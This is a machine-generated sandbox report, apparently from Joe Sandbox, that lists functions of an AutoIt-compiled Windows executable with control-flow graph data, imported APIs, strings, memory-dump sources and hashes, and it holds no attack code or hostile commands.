                                                            • Instruction Fuzzy Hash: 6CC1E277B18A418AEB20CF64D4457AC37A1E74ABA8F011275DEAE9B7D9EF38D015C300
                                                            Function 00007FF69DB425BC Relevance: 12.4, APIs: 8, Instructions: 442windowtimeCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 557 7ff69db425bc-7ff69db4263d 561 7ff69db4287e-7ff69db428af 557->561 562 7ff69db42643-7ff69db4267c 557->562 563 7ff69db42680-7ff69db42687 562->563 565 7ff69db42856-7ff69db42876 563->565 566 7ff69db4268d-7ff69db426a1 563->566 565->561 568 7ff69db426a7-7ff69db426bc 566->568 569 7ff69db8d148-7ff69db8d14f 566->569 570 7ff69db429c8-7ff69db429eb PeekMessageW 568->570 571 7ff69db426c2-7ff69db426c9 568->571 572 7ff69db8d155 569->572 573 7ff69db42702-7ff69db42723 569->573 576 7ff69db426e8-7ff69db426ef 570->576 577 7ff69db429f1-7ff69db429f5 570->577 571->570 574 7ff69db426cf-7ff69db426d4 571->574 581 7ff69db8d15a-7ff69db8d160 572->581 588 7ff69db4276e-7ff69db427d2 573->588 589 7ff69db42725-7ff69db4272c 573->589 574->570 578 7ff69db426da-7ff69db426e2 GetInputState 574->578 579 7ff69db8e285-7ff69db8e293 576->579 580 7ff69db426f5-7ff69db426fc 576->580 583 7ff69db429fb-7ff69db42a05 577->583 584 7ff69db8d1aa-7ff69db8d1bb 577->584 578->570 578->576 585 7ff69db8e29d-7ff69db8e2b5 call 7ff69db4f1c4 579->585 580->573 580->585 586 7ff69db8d162-7ff69db8d176 581->586 587 7ff69db8d19b 581->587 583->581 590 7ff69db42a0b-7ff69db42a1d call 7ff69db52de8 583->590 584->576 585->565 586->587 592 7ff69db8d178-7ff69db8d17f 586->592 587->584 628 7ff69db427d8-7ff69db427da 588->628 629 7ff69db8e276 588->629 589->588 593 7ff69db4272e-7ff69db42738 589->593 601 7ff69db42a1f-7ff69db42a2d TranslateMessage DispatchMessageW 590->601 602 7ff69db42a33-7ff69db42a4f PeekMessageW 590->602 592->587 598 7ff69db8d181-7ff69db8d190 TranslateAcceleratorW 592->598 599 7ff69db4273f-7ff69db42742 593->599 598->590 604 7ff69db8d196 598->604 605 7ff69db42748 599->605 606 7ff69db428b0-7ff69db428b7 599->606 601->602 602->576 609 7ff69db42a55 602->609 604->602 611 7ff69db4274f-7ff69db42752 605->611 607 7ff69db428b9-7ff69db428cc timeGetTime 606->607 608 7ff69db428eb-7ff69db428ef 606->608 612 7ff69db8d2ab-7ff69db8d2b0 607->612 613 7ff69db428d2-7ff69db428d7 607->613 608->599 609->577 615 7ff69db42758-7ff69db42761 611->615 616 7ff69db428f4-7ff69db428fb 611->616 619 7ff69db428dc-7ff69db428e5 612->619 620 7ff69db8d2b6 612->620 613->619 621 7ff69db428d9 613->621 617 7ff69db42767 615->617 618 7ff69db8d4c7-7ff69db8d4ce 615->618 622 7ff69db42901-7ff69db42905 616->622 623 7ff69db8d2f8-7ff69db8d303 616->623 617->588 619->608 625 7ff69db8d2bb-7ff69db8d2f3 timeGetTime call 7ff69db52ac0 call 7ff69dbb3a28 619->625 620->625 621->619 622->611 626 7ff69db8d305 623->626 627 7ff69db8d309-7ff69db8d30c 623->627 625->608 626->627 632 7ff69db8d30e 627->632 633 7ff69db8d312-7ff69db8d319 627->633 628->629 631 7ff69db427e0-7ff69db427ee 628->631 629->579 631->629 635 7ff69db427f4-7ff69db42819 631->635 632->633 636 7ff69db8d322-7ff69db8d329 633->636 637 7ff69db8d31b 633->637 641 7ff69db4290a-7ff69db4290d 635->641 642 7ff69db4281f-7ff69db42829 call 7ff69db42b70 635->642 638 7ff69db8d332-7ff69db8d33d call 7ff69db542a0 636->638 639 7ff69db8d32b 636->639 637->636 638->605 639->638 645 7ff69db42931-7ff69db42933 641->645 646 7ff69db4290f-7ff69db4291a call 7ff69db42e30 641->646 652 7ff69db4282e-7ff69db42836 642->652 650 7ff69db42971-7ff69db42974 645->650 651 7ff69db42935-7ff69db42949 call 7ff69db466c0 645->651 646->652 655 7ff69db8dfbe-7ff69db8dfc0 650->655 656 7ff69db4297a-7ff69db42997 call 7ff69db401a0 650->656 665 7ff69db4294e-7ff69db42950 651->665 653 7ff69db4283c 652->653 654 7ff69db4299e-7ff69db429ab 652->654 659 7ff69db42840-7ff69db42843 653->659 661 7ff69db8e181-7ff69db8e197 call 7ff69db54c24 * 2 654->661 662 7ff69db429b1-7ff69db429be call 7ff69db54c24 654->662 663 7ff69db8dfc2-7ff69db8dfc5 655->663 664 7ff69db8dfed-7ff69db8dff6 655->664 668 7ff69db4299c 656->668 666 7ff69db42849-7ff69db42850 659->666 667 7ff69db42b17-7ff69db42b1d 659->667 661->629 662->570 663->659 671 7ff69db8dfcb-7ff69db8dfe7 call 7ff69db43c20 663->671 672 7ff69db8e005-7ff69db8e00c 664->672 673 7ff69db8dff8-7ff69db8e003 664->673 665->652 674 7ff69db42956-7ff69db42966 665->674 666->563 666->565 667->666 676 7ff69db42b23-7ff69db42b2d 667->676 668->665 671->664 680 7ff69db8e00f-7ff69db8e016 call 7ff69dbc8b98 672->680 673->680 674->652 675 7ff69db4296c 674->675 681 7ff69db8e0f4-7ff69db8e10e call 7ff69dbb34e4 675->681 676->569 688 7ff69db8e0d7-7ff69db8e0d9 680->688 689 7ff69db8e01c-7ff69db8e036 call 7ff69dbb34e4 680->689 694 7ff69db8e110-7ff69db8e11d 681->694 695 7ff69db8e147-7ff69db8e14e 681->695 691 7ff69db8e0df-7ff69db8e0ee call 7ff69dbca320 688->691 692 7ff69db8e0db 688->692 703 7ff69db8e06f-7ff69db8e076 689->703 704 7ff69db8e038-7ff69db8e045 689->704 691->681 692->691 699 7ff69db8e11f-7ff69db8e130 call 7ff69db54c24 * 2 694->699 700 7ff69db8e135-7ff69db8e142 call 7ff69db54c24 694->700 695->666 696 7ff69db8e154-7ff69db8e15a 695->696 696->666 701 7ff69db8e160-7ff69db8e169 696->701 699->700 700->695 701->661 703->666 711 7ff69db8e07c-7ff69db8e082 703->711 708 7ff69db8e047-7ff69db8e058 call 7ff69db54c24 * 2 704->708 709 7ff69db8e05d-7ff69db8e06a call 7ff69db54c24 704->709 708->709 709->703 711->666 715 7ff69db8e088-7ff69db8e091 711->715 715->688
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Message$Peek$DispatchInputStateTimeTranslatetime
                                                            • String ID:
                                                            • API String ID: 3249950245-0
                                                            • Opcode ID: 4e5214824c5420639b9de00f29baad83bafa904f2dd3af1d4c39dffda22c8357
                                                            • Instruction ID: bfb5bcd5b3cdfd44f7bf85402292dfbba9ff32c6c98a1e9135a1bd2cc3c9b0bd
                                                            • Opcode Fuzzy Hash: 4e5214824c5420639b9de00f29baad83bafa904f2dd3af1d4c39dffda22c8357
                                                            • Instruction Fuzzy Hash: 5C227EB2A0C6828AEB74CB24D4543BD67A0FF46B48F5441B6DACE83699EF3DE445D700
                                                            Function 00007FF69DB33CBC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 849 7ff69db33cbc-7ff69db33d88 CreateWindowExW * 2 ShowWindow * 2
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Window$Create$Show
                                                            • String ID: AutoIt v3$d$edit
                                                            • API String ID: 2813641753-2600919596
                                                            • Opcode ID: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
                                                            • Instruction ID: 65a4955372ff72a7086291ee2bcaeac80d8633aaa3f4617f59b235291b496c70
                                                            • Opcode Fuzzy Hash: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
                                                            • Instruction Fuzzy Hash: 06215872A28B41C6E720CB10E44832973F4F789799F505279D6CD86A58EFBDD146CB40
                                                            Function 00007FF69DB55244 Relevance: 7.6, APIs: 5, Instructions: 54COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Initialize__scrt_fastfail__scrt_initialize_default_local_stdio_options__scrt_initialize_onexit_tables_invalid_parameter_noinfo_onexit_set_fmode
                                                            • String ID:
                                                            • API String ID: 2117695475-0
                                                            • Opcode ID: c5af1a2945e0b28d35ed004d247bbfb317608e89d5a488d8119e5cdd6fee6e2c
                                                            • Instruction ID: f06919c9ca559e825193bf9f3a9314b3b48a43cb18d3d94960d9a0d0fa0b46eb
                                                            • Opcode Fuzzy Hash: c5af1a2945e0b28d35ed004d247bbfb317608e89d5a488d8119e5cdd6fee6e2c
                                                            • Instruction Fuzzy Hash: F9112BC0E0C14345FA347AB194562BD3291DF67316F8404F8E6DDDA2CBFD5DB4854622
                                                            Function 00007FF69DB37EC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185comCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            APIs
                                                              • Part of subcall function 00007FF69DB52D5C: MapVirtualKeyW.USER32(?,?,?,00007FF69DB37FA5), ref: 00007FF69DB52D8E
                                                              • Part of subcall function 00007FF69DB52D5C: MapVirtualKeyW.USER32(?,?,?,00007FF69DB37FA5), ref: 00007FF69DB52D9C
                                                              • Part of subcall function 00007FF69DB52D5C: MapVirtualKeyW.USER32(?,?,?,00007FF69DB37FA5), ref: 00007FF69DB52DAC
                                                              • Part of subcall function 00007FF69DB52D5C: MapVirtualKeyW.USER32(?,?,?,00007FF69DB37FA5), ref: 00007FF69DB52DBC
                                                              • Part of subcall function 00007FF69DB52D5C: MapVirtualKeyW.USER32(?,?,?,00007FF69DB37FA5), ref: 00007FF69DB52DCA
                                                              • Part of subcall function 00007FF69DB52D5C: MapVirtualKeyW.USER32(?,?,?,00007FF69DB37FA5), ref: 00007FF69DB52DD8
                                                              • Part of subcall function 00007FF69DB4EEC8: RegisterWindowMessageW.USER32 ref: 00007FF69DB4EF76
                                                            • GetStdHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF69DB3106D), ref: 00007FF69DB38209
                                                            • OleInitialize.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF69DB3106D), ref: 00007FF69DB3828F
                                                            • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF69DB3106D), ref: 00007FF69DB7D36A
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
                                                            • String ID: AutoIt
                                                            • API String ID: 1986988660-2515660138
                                                            • Opcode ID: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
                                                            • Instruction ID: 0195239abc32cd024bdae961d3edb7e63e356026309b750b601b588b281ae355
                                                            • Opcode Fuzzy Hash: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
                                                            • Instruction Fuzzy Hash: B0C1E560D09B42C5E620DB14AA4107977B8FF95758F5022BBDACDC2A65FF7CA143E780
                                                            Function 00007FF69DB372C8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: IconLoadNotifyShell_Stringwcscpy
                                                            • String ID: Line:
                                                            • API String ID: 3135491444-1585850449
                                                            • Opcode ID: 5074f82189a2094c4f41beacacc753a6552d6d2ec3054edcc5b8ee4ef305b935
                                                            • Instruction ID: 719e97951d07f7114ed0243c8b3569b813f36912faa796cb9eea48367adedaa7
                                                            • Opcode Fuzzy Hash: 5074f82189a2094c4f41beacacc753a6552d6d2ec3054edcc5b8ee4ef305b935
                                                            • Instruction Fuzzy Hash: F24192A6A0D64297EB30DB20D4402F96365FB86388F9050B6D6CC8369EFF7CE646D740
                                                            Function 00007FF69DB33F04 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetOpenFileNameW.COMDLG32 ref: 00007FF69DB7BAA2
                                                              • Part of subcall function 00007FF69DB356D4: GetFullPathNameW.KERNEL32(?,00007FF69DB356C1,?,00007FF69DB37A0C,?,?,?,00007FF69DB3109E), ref: 00007FF69DB356FF
                                                              • Part of subcall function 00007FF69DB33EB4: GetLongPathNameW.KERNELBASE ref: 00007FF69DB33ED8
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Name$Path$FileFullLongOpen
                                                            • String ID: AutoIt script files (*.au3, *.a3x)$Run Script:$au3
                                                            • API String ID: 779396738-2360590182
                                                            • Opcode ID: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
                                                            • Instruction ID: 4b3894c6bc6e9583ac2bddb03c13957c3d8c4bd0bef83063d54cc00a179c8415
                                                            • Opcode Fuzzy Hash: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
                                                            • Instruction Fuzzy Hash: 19312FB2A09B8286E720DB21D8401ADB7B8FB4ABC4F5441B5DE8C87B59EF3CD545CB50
                                                            Function 00007FF69DB54610 Relevance: 4.6, APIs: 3, Instructions: 67timewindowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: IconNotifyShell_Timer$Killwcscpy
                                                            • String ID:
                                                            • API String ID: 3812282468-0
                                                            • Opcode ID: 1dc440ecac87e2ff0ffd0982a4a0d0d2f1018b32bcde9ffe5d1424b8b2f1a591
                                                            • Instruction ID: 0d26f4e071a5ef1470d68fc0bb72136e2fba11b9b1e16ba7244883bafe7d40b2
                                                            • Opcode Fuzzy Hash: 1dc440ecac87e2ff0ffd0982a4a0d0d2f1018b32bcde9ffe5d1424b8b2f1a591
                                                            • Instruction Fuzzy Hash: C731CFA6A0C7C287EB718B2191403BD77A8EB56F88F1840B2CE8C8774DEE2CD644C750
                                                            Function 00007FF69DB36F60 Relevance: 4.6, APIs: 3, Instructions: 57registryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • RegOpenKeyExW.KERNELBASE(?,?,?,?,?,?,?,00007FF69DB36F52,?,?,?,?,?,?,00007FF69DB3782C), ref: 00007FF69DB36FA5
                                                            • RegQueryValueExW.KERNELBASE(?,?,?,?,?,?,?,00007FF69DB36F52,?,?,?,?,?,?,00007FF69DB3782C), ref: 00007FF69DB36FD3
                                                            • RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,00007FF69DB36F52,?,?,?,?,?,?,00007FF69DB3782C), ref: 00007FF69DB36FFA
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CloseOpenQueryValue
                                                            • String ID:
                                                            • API String ID: 3677997916-0
                                                            • Opcode ID: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
                                                            • Instruction ID: 4f9819cba83a61d22c3f7b69259131ee68495c87514e3fcd4ea010aceb14d1ad
                                                            • Opcode Fuzzy Hash: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
                                                            • Instruction Fuzzy Hash: 3B21CD77A18B4187D7208F25E54096EB3A4FB59B80B441178EBCCC3B18EF39E404DB44
                                                            Function 00007FF69DB59118 Relevance: 4.5, APIs: 3, Instructions: 19COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Process$CurrentExitTerminate
                                                            • String ID:
                                                            • API String ID: 1703294689-0
                                                            • Opcode ID: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
                                                            • Instruction ID: bff0b72c8f23ef655bbe608eadcf09f1d1f4584d12599b9fbd91bffb088f6699
                                                            • Opcode Fuzzy Hash: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
                                                            • Instruction Fuzzy Hash: F9E012A0B0435582EF646F60DD452792352DF5A741F0154B8C88E8339AED3DE4098250
                                                            Function 00007FF69DB466C0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 466COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Init_thread_footer
                                                            • String ID: CALL
                                                            • API String ID: 1385522511-4196123274
                                                            • Opcode ID: 24061c5982f2d3e817e045593c76e51459b54cde2f485c3431a9fa5c614c0b1a
                                                            • Instruction ID: 21a1015a56c03cf98cd64dfeded28a7685d272289989a827acdf9c4ec6c87228
                                                            • Opcode Fuzzy Hash: 24061c5982f2d3e817e045593c76e51459b54cde2f485c3431a9fa5c614c0b1a
                                                            • Instruction Fuzzy Hash: A522ADB2B08A828AEB24DF65D4403BC37B1FB56B88F404176DA8D97799EF38E455C340
                                                            Function 00007FF69DB36838 Relevance: 3.1, APIs: 2, Instructions: 100fileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CreateFile
                                                            • String ID:
                                                            • API String ID: 823142352-0
                                                            • Opcode ID: 27afbee001dd2f14ab302487d27ec6636649baba111da03fe0a26036beb73b09
                                                            • Instruction ID: 939926e46881d521315c9471756debfc9e86efe771c778073fcadbc408cf4b29
                                                            • Opcode Fuzzy Hash: 27afbee001dd2f14ab302487d27ec6636649baba111da03fe0a26036beb73b09
                                                            • Instruction Fuzzy Hash: 5D4180B290964283E7748F14E414339B7A0EB46BA8F144275EAED87BCDEF7DD4059740
                                                            Function 00007FF69DB36460 Relevance: 3.1, APIs: 2, Instructions: 91libraryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Library$Load$AddressFreeProc
                                                            • String ID:
                                                            • API String ID: 2632591731-0
                                                            • Opcode ID: 392ad9f8a410b3ba7add488219b3c7835b0d92f2120495b543ba498714cf74fb
                                                            • Instruction ID: 4d013b74b64ee4a717d1fd81cb5988c33946611c8ed36633947c4f8f37e7f3df
                                                            • Opcode Fuzzy Hash: 392ad9f8a410b3ba7add488219b3c7835b0d92f2120495b543ba498714cf74fb
                                                            • Instruction Fuzzy Hash: BF419FA2B05A1696EB24DF25D4503FC63A0EB46B8CF454171EA8E87A8EEF3CD804C750
                                                            Function 00007FF69DB36258 Relevance: 3.1, APIs: 2, Instructions: 72windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
